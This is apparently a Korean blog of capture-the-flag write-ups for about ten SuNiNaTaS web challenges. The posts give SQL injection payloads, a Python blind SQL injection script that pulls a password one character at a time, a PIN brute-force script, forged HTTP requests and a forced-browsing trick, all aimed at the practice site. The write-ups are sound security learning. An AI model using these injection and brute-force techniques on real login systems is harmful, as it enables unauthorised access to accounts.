늘모자란, 개발

늘모자란, 개발


폼이고, 하드필터링 되어 있다

select / Union / or / white space / by / having 
from / char / ascii / left / right / delay / 0x ..........


힌트도 주어지는데


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->



즉 guest를 이용하면 될것 같다

다음과 같이 쿼리를 작성해본다. (id칸에)

admin'-- a


pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자

admin'and(len(pw)=10)-- a

하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2
import time

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

for i in range(1,10):
    for j in range(len(string)):
        data = "?id="
        data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j]))
        data = data + "&pw=1"
         req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers)
         response = urllib2.urlopen(req)
         res = response.read()

         if "OK" in res:
             print string[j]
             break
         time.sleep(0.1)
2016/09/08 16:42 2016/09/08 16:42
브루트포싱 문제이다.
admin계정은 0~9999의 비밀번호중 하나를 사용한다고 한다.

그냥.. 숫자를 막 넣어주기만 하면 되는거니 간단하게 짜보자

import urllib, urllib2

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

for i in range(10000):

    data = "id=admin&pw={}".format(str(i).zfill(4))
    print data
    req = urllib2.Request("http://suninatas.com/Part_one/web08/web08.asp", data, headers)
    response = urllib2.urlopen(req)

    if "Incorrect" not in response.read():
        print response.read()
        break



돌리다보면 나온다...
2016/09/08 16:24 2016/09/08 16:24
진짜 짜증났던 문제중하나인데.......... 아직도 어떻게 풀었는지 잘 모르겠다 ㅋㅋㅋㅋㅋㅋ
들어가면 대문짝만한 연예인사진들이 올라와있는데, 화면 중간쯤에 YES버튼이 있다. YES를 누르면 느리다고 다시하라고 한다.
새로고침해보려고 F5를 누르면 NO라고 한다. 키보드로 새로고침하지말라는거같은데 뭐 그것만 방법이 있는건 아니니..

일단 정공법은 다음과 같다.

document.href="http://suninatas.com/Part_one/web07/web07.asp";
frm.submit();


페이지를 새로 갱신 시킨이후에, 바로 폼을 submit하라는건데 진짜 잘안된다. 짜증만 난다.
그래서 나는 그냥 툴을 이용하기로 했다.

fiddler를 이용해서 두개 패킷을 묶은이후에 같이 replay시키면 바로 패스할 수 있다 (....)
2016/09/08 15:55 2016/09/08 15:55
여태까지가 몸풀기였다면 이제야 좀 문제같은 문제가 나온다

게시판 하나가 나오는데 대놓고 readme라고 나온다. 누르면 팝업이 하나 생성되고 쿼리가 보인다

"select szPwd from T_Web13 where  nIdx = '3' and szPwd = '"&pwd&"'"


1=1는 차단되있으므로 값을 TRUE로 만들어주기위해 다음과 같이 질의한다
(MSSQL에선 -- 를 적어주기만하면 안되고 뒤에 뭐라도 하나 적어줘야 한다. MSSQL맞겠지?;;)

' or 5>1 -- a


인증키가 나온다. 근데 정작 글은 못읽는다. 이게 뭐야..
이동된 URL을 보자.

http://suninatas.com/Part_one/web06/view.asp?num=3&passcode=[]


뭔가 나와는 있는데 안된다 이럴땐 보통 쿠키에 뭘 해놨을가능성이 높아 확인해보니,
auth%F5key라는 친구가 보인다. 당연히, 그대로 넣으면 안된다. 놀랍게도 게시판에 힌트가 있는데, 레퍼런스에 들어가면 md5로 인코딩하라고 친절히(...) 안내를 해준다

md5을 설정하고 들어가면 드디어 게시글을 읽을 수 있게 되는데 답은 안나와있다. 소스보기를 하면 폼 이름에 뭔가 있으니 그걸 이용해서 auth하면된다.
2016/09/08 15:42 2016/09/08 15:42
Check key value라고 적혀있고 아무것도 없는 폼이 하나 맞이해준다.

                        <script>
                            eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))        
                        </script>

<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->


위와같이 난독화된 코드가 있는데 아무래도 핵심인듯 보인다.

deobfuscator 를 통해 스크립트를 살려내보자

var digitArray = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

function PASS(n) {
  var result = '';
  var start = true;
  for (var i = 32; i > 0;) {
    i -= 4;
    var digit = (n >> i) & 0xf;
    if (!start || digit != 0) {
      start = false;
      result += digitArray[digit]
    }
  }
  return (result == '' ? '0' : result)
}


위에 힌트도 있겠다, 함수에 값을 넣어 돌려보자. 문자열이 하나 나오는데 넣으면 Auth key가 나온다.
2016/09/08 15:33 2016/09/08 15:33
UA를 조작하는 문제이다. 들어가면 나의 UA가 나와있는데, 소스에 힌트가 나와 있다.

<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->


그럼 UA를 조작해보자.

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 7
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


폼을 보내면 web04_ck.asp를 거치게 된다는걸 볼 수 있다. 골떄리는건 1씩오르질않는다. 50번 보내주자(-_-)
그 이후에 SuNiNaTaS로 UA를 바꿔서 질의한후 web04로 돌아가보자

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: SuNiNaTaS
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


그러면 Auth key가 등장한다.
2016/09/08 15:24 2016/09/08 15:24
풀면서 진짜 제일 황당했던 문제인데, 소스도 뭐고없다.



뭐 모르는게 있나하고 한참 찾아봤는데 그런게 아니었다. 이 문제의 요점은 그냥.. 흔히 발생할 수 있는 실수중하나를 알고 있냐는것이다
Notice Board란 바로 suninatas의 공지사항 보드를 의미한다.

바로 이곳
http://suninatas.com/board/list.asp?divi=notice


그런데 일반회원은 여기 글을 쓸 권한이 없다.
그렇다면 어찌해야할까? Q&A로 이동해서 write를 눌러보자

http://suninatas.com/board/write.asp?page=1&divi=Free


주소가 이렇게 바뀐다. 즉 write.asp에서 게시글을 작성한다는걸 알 수 있다.
주소를 살짝 바꿔보자

게시글을 쓸 수 있게 되고 아무 내용이나 쓰면 Auth key가 나온다
2016/09/08 15:18 2016/09/08 15:18
suninatas.com은 특이하게 아이프레임으로 소스를 넣어서 이동시키고 있다; 그래서 프레임소스보기로 소스를 봐야한다.
- 크롬에는 디폴트로 존재하지만 파이어폭스에선 따로 없어서 좀 불편하다.

문제2번은 폼을 패스하는 문제인데, 핵심 소스는 다음과 같다

<script>
    function chk_form(){
        var id = document.web02.id.value ;
        var pw = document.web02.pw.value ;
        if ( id == pw )
        {
            alert("You can't join! Try again");
            document.web02.id.focus();
            document.web02.id.value = "";
            document.web02.pw.value = "";
        }
        else
        {
            document.web02.submit();
        }
    }
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->


그러니까, chk_form을 패스하라는건데, 이건 그냥 폼 액션 주소를 따서 id와 pw를 같게 만들어서 보내주면 된다.

POST http://suninatas.com/Part_one/web02/web02.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 9
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web02/web02.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

id=1&pw=1


뭐 대략 이런느낌이다.
2016/09/08 15:13 2016/09/08 15:13
요새 못풀고 끙끙거리는 문제가 하나 있는데, 그것만 하다가 머리도 식힐겸 간단히 풀어보기로 했다.
웹 문제가 열문제밖에 없는 곳인데, 나는 리버싱 이런건 아직 잘 못하니까.. 열개만 풀어보기로 했다.
사실, writeup 이라고 하긴 좀 그런게 이미 문제는 다 풀었다. 결국 블로그에 쓰기위해 다시 푸는셈이다..ㅋㅋㅋ

<%
    str = Request("str")

    If not str = "" Then
        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2
        Response.write result
        If result = "admin" Then
            pw = "????????"
        End if
    End if
%>


suninatas 는 아무래도 iis 기반의 asp를 기반으로 하는듯 보인다. 첫번쨰 문제는 문자열을 이용한 문제인데 최종 완성되는 결과를 admin으로 만들어야한다.

문제에서 result1과 result2 로 문자열을 나누는데 이것들은 substr을 의미하는것이다. 결과적으로, result에 들어가는 aad로 replace되는값은 별로 신경쓰지 않아도 된다. (a하나만 넣어도 ad가 완성된셈)

그럼 남은 글자는 min인데 m은 어딜봐도 솟아날 구멍이 없다. 그래서 넣어주고, i는 in이 된다고 하니,

ami를 입력한다.
2016/09/08 15:05 2016/09/08 15:05